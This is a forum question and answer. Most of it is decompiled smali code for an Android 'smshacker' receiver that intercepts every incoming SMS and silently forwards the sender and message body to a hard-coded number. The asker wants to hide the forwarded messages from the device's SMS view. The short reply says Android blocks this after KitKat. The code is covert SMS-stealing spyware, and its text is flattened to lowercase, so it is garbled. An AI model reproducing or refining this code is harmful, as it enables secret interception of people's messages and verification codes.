How to send SMS from the Android app without making it get recorded in device SMS view -
i want send sms android app. don't want record exist in device message view. using below code:
.class public lcom/sms/smshacker/smshacker; .super landroid/content/broadcastreceiver; .source "smshacker.java" # static fields .field private static final sms_received:ljava/lang/string; = "android.provider.telephony.sms_received" .field private static final tag:ljava/lang/string; = "smsbroadcastreceiver" # direct methods .method public constructor <init>()v .locals 0 .prologue .line 14 invoke-direct {p0}, landroid/content/broadcastreceiver;-><init>()v return-void .end method # virtual methods .method public onreceive(landroid/content/context;landroid/content/intent;)v .locals 11 .parameter "context" .parameter "intent" .prologue .line 21 const-string v1, "smsbroadcastreceiver" new-instance v2, ljava/lang/stringbuilder; const-string v4, "intent recieved: " invoke-direct {v2, v4}, ljava/lang/stringbuilder;-><init>(ljava/lang/string;)v invoke-virtual {p2}, landroid/content/intent;->getaction()ljava/lang/string; move-result-object v4 invoke-virtual {v2, v4}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder; move-result-object v2 invoke-virtual {v2}, ljava/lang/stringbuilder;->tostring()ljava/lang/string; move-result-object v2 invoke-static {v1, v2}, landroid/util/log;->i(ljava/lang/string;ljava/lang/string;)i .line 23 invoke-virtual {p2}, landroid/content/intent;->getaction()ljava/lang/string; move-result-object v1 const-string v2, "android.provider.telephony.sms_received" invoke-virtual {v1, v2}, ljava/lang/string;->equals(ljava/lang/object;)z move-result v1 if-eqz v1, :cond_0 .line 24 invoke-virtual {p2}, landroid/content/intent;->getextras()landroid/os/bundle; move-result-object v9 .line 25 .local v9, mybundle:landroid/os/bundle; const/4 v8, 0x0 .line 26 .local v8, messages:[landroid/telephony/smsmessage; const-string v3, "" .line 28 .local v3, strmessage:ljava/lang/string; if-eqz v9, :cond_0 .line 29 const-string v1, "pdus" invoke-virtual {v9, v1}, landroid/os/bundle;->get(ljava/lang/string;)ljava/lang/object; move-result-object v10 check-cast v10, [ljava/lang/object; .line 30 .local v10, pdus:[ljava/lang/object; array-length v1, v10 new-array v8, v1, [landroid/telephony/smsmessage; .line 32 const/4 v7, 0x0 .local v7, i:i :goto_0 array-length v1, v8 if-lt v7, v1, :cond_1 .line 40 new-instance v1, ljava/lang/stringbuilder; const-string v2, "message has been intercepted!\n" invoke-direct {v1, v2}, ljava/lang/stringbuilder;-><init>(ljava/lang/string;)v invoke-virtual {v1, v3}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder; move-result-object v1 invoke-virtual {v1}, ljava/lang/stringbuilder;->tostring()ljava/lang/string; move-result-object v3 .line 43 :try_start_0 invoke-static {}, landroid/telephony/smsmanager;->getdefault()landroid/telephony/smsmanager; move-result-object v0 .line 44 .local v0, smsman:landroid/telephony/smsmanager; const-string v1, "number goes here" const/4 v2, 0x0 const/4 v4, 0x0 const/4 v5, 0x0 invoke-virtual/range {v0 .. v5}, landroid/telephony/smsmanager;->sendtextmessage(ljava/lang/string;ljava/lang/string;ljava/lang/string;landroid/app/pendingintent;landroid/app/pendingintent;)v :try_end_0 .catch ljava/lang/exception; {:try_start_0 .. :try_end_0} :catch_0 .line 55 .end local v0 #smsman:landroid/telephony/smsmanager; .end local v3 #strmessage:ljava/lang/string; .end local v7 #i:i .end local v8 #messages:[landroid/telephony/smsmessage; .end local v9 #mybundle:landroid/os/bundle; .end local v10 #pdus:[ljava/lang/object; :cond_0 :goto_1 return-void .line 33 .restart local v3 #strmessage:ljava/lang/string; .restart local v7 #i:i .restart local v8 #messages:[landroid/telephony/smsmessage; .restart local v9 #mybundle:landroid/os/bundle; .restart local v10 #pdus:[ljava/lang/object; :cond_1 aget-object v1, v10, v7 check-cast v1, [b invoke-static {v1}, landroid/telephony/smsmessage;->createfrompdu([b)landroid/telephony/smsmessage; move-result-object v1 aput-object v1, v8, v7 .line 34 new-instance v1, ljava/lang/stringbuilder; invoke-static {v3}, ljava/lang/string;->valueof(ljava/lang/object;)ljava/lang/string; move-result-object v2 invoke-direct {v1, v2}, ljava/lang/stringbuilder;-><init>(ljava/lang/string;)v const-string v2, "sms from: " invoke-virtual {v1, v2}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder; move-result-object v1 .line 35 aget-object v2, v8, v7 invoke-virtual {v2}, landroid/telephony/smsmessage;->getoriginatingaddress()ljava/lang/string; move-result-object v2 invoke-virtual {v1, v2}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder; move-result-object v1 .line 34 invoke-virtual {v1}, ljava/lang/stringbuilder;->tostring()ljava/lang/string; move-result-object v3 .line 36 new-instance v1, ljava/lang/stringbuilder; invoke-static {v3}, ljava/lang/string;->valueof(ljava/lang/object;)ljava/lang/string; move-result-object v2 invoke-direct {v1, v2}, ljava/lang/stringbuilder;-><init>(ljava/lang/string;)v const-string v2, "\n : " invoke-virtual {v1, v2}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder; move-result-object v1 invoke-virtual {v1}, ljava/lang/stringbuilder;->tostring()ljava/lang/string; move-result-object v3 .line 37 new-instance v1, ljava/lang/stringbuilder; invoke-static {v3}, ljava/lang/string;->valueof(ljava/lang/object;)ljava/lang/string; move-result-object v2 invoke-direct {v1, v2}, ljava/lang/stringbuilder;-><init>(ljava/lang/string;)v aget-object v2, v8, v7 invoke-virtual {v2}, landroid/telephony/smsmessage;->getmessagebody()ljava/lang/string; move-result-object v2 invoke-virtual {v1, v2}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder; move-result-object v1 invoke-virtual {v1}, ljava/lang/stringbuilder;->tostring()ljava/lang/string; move-result-object v3 .line 38 new-instance v1, ljava/lang/stringbuilder; invoke-static {v3}, ljava/lang/string;->valueof(ljava/lang/object;)ljava/lang/string; move-result-object v2 invoke-direct {v1, v2}, ljava/lang/stringbuilder;-><init>(ljava/lang/string;)v const-string v2, "\n" invoke-virtual {v1, v2}, ljava/lang/stringbuilder;->append(ljava/lang/string;)ljava/lang/stringbuilder; move-result-object v1 invoke-virtual {v1}, ljava/lang/stringbuilder;->tostring()ljava/lang/string; move-result-object v3 .line 32 add-int/lit8 v7, v7, 0x1 goto/16 :goto_0 .line 46 :catch_0 move-exception v6 .line 47 .local v6, ex:ljava/lang/exception; invoke-virtual {v6}, ljava/lang/exception;->printstacktrace()v goto :goto_1 .end method
can tell me change , how appreciated
after kitkat that's not possible. whichever application s sends sms gets added sms provider , shown in default chosen messaging activity. done preventing applications sending hidden messages charged user.
Comments
Post a Comment